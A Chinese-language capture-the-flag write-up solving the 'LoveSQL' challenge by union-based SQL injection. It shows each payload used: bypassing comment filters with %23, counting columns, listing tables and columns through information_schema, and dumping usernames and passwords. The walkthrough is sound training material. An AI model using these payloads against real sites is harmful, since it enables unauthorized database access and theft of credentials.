[极客大挑战 2019]LoveSQL 1
账号填admin,密码填'
根据提示确定是经典的单引号闭合。
我先试了试1' or 1=1--+
看样子应该是过滤了--+的注释方式。
我再试试用#注释
也出现了一样的情况
看样子#也被过滤了。
用#的url编码形式%23试试?
成功啦,且返回了一个密码,看样子为md5加密后的密码,试了一下无法破解,但是至少发现了%23可以用来注释后面的单引号,这样一来就可以展开注入。
先利用order by查看表输出列数
&password=1'order by 1%23
&password=1'order by 2%23
&password=1'order by 3%23
都会有返回界面。
直到&password=1'order by 4%23
出现提示Unknown column '4' in 'order clause'
。得到表输出列数为3。
构造&password=1'union select 1,2,3%23
发现会返回第2,3个字段。
构造&password=1'union select 1,user(),version()%23
得知我是root用户,可以利用information_schema库(不知道这样讲对不对哈)
&password=1'union select 1,2,database()%23
得知当前库名为geek
&password=1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='geek'%23
查询目前库里的表名,目前看来该网站的查询并没有循环查询所以一次只能找到一行,为了没有遗漏利用group_concat()。
得到两个表名geekuser,l0ve1ysq1
&password=1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='geekuser'%23
查询第一个geekuser表内的列名。得到id,username,password
&password=1'union select 1,group_concat(username),group_concat(password) from geekuser%23
查询username和password列
看样子还是那个md5密码,并不是有用的信息,把目光转移到另一个l0ve1ysq1表
&password=1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23
得到的列名也是id,username,password
&password=1'union select 1,group_concat(username),group_concat(password) from l0ve1ysq1%23
得到了许多账号和密码,其中最后一个账号的密码为flag!